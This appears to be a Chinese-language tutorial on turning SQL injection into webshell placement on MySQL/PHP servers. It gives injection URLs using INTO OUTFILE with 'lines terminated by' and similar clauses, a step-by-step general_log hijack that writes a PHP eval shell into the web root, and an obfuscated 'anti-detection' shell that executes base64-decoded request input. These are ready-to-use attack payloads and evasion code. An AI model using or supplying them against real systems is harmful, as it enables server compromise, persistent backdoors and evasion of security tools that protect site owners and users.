1. 程式人生 > 實用技巧 >sql注入之檔案寫入into outfile

sql注入之檔案寫入into outfile

sql注入中寫入webshell的幾種方式

sql注入中寫入webshell的幾種方式

  1. secure_file_priv="c:/…"被註釋掉或者是web路徑

  2. php.ini中的get_magic_quotes_gpc()函式未開啟

    其中secure_file_priv有三種情況

    1. 空,表示匯入匯出沒有任何限制
    2. 有指定路徑,比如("c:/xxx/xxx"):只能向指定路徑匯入匯出檔案
    3. null,禁止匯入匯出

    在進行寫入websell時,要注意引數secure_file_priv是否有指定路徑或者是否為null。最好要獲得root許可權

    0x01

Union select後寫入

  1. union select+into outfile
  • ?id=1')) union select 1,2, "" into outfile "D:/Phpstudy/PHPTutorial/test1.php

Ps:目錄分隔符要用斜槓(/)

  1. union select+into dumpfile

outfile與dumpfile有一定的區別
eg:假設有一個二進位制檔案,如果用outfile匯入,則在匯出過程中會被轉義從而被破壞,這是隻能使用dumpfile函式

Into dumpfile函式不會對任何列行進行終止,也不會執行轉義處理

0x02

Lines terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num.php' lines terminated by ''--+

注入原理:select 語句查詢的內容寫入檔案,Lines terminated by語句拼接webshell。

可以理解為:以每行終止的位置新增xx內容

0x03

Lines starting by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num2.php' lines starting by ''--+

Lines starting by 以每行開始的位置新增xx內容

0x04

Fields terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num3.php' fields terminated by ''--+

Fields terminated by 每個欄位的間隔中插入xx內容

0x05

Columns terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num4.php' columns terminated by ''--+

Columns terminated by 每個欄位的位置新增xx內容

0x06

利用log寫入

當無法使用select into outfile寫入一句話時,可以通過修改mysql的log檔案getshell
(必須獲得mysql的root許可權)

show variables like '%general%';             #檢視配置
set global general_log = on;                 #開啟general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #設定日誌目錄為shell地址
select '<?php eval($_GET[g]);?>'             #寫入shell
set global general_log=off;                  #關閉general log模式

流程:
1.開啟general log模式

2.修改log根地址

3.寫入shell

開啟general log模式後,只要是對mysql進行操作的語句都會在log中有記錄,修改log根地址後,寫入一句話shell就可以利用相對路徑

附:

sql查詢免殺shell語句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”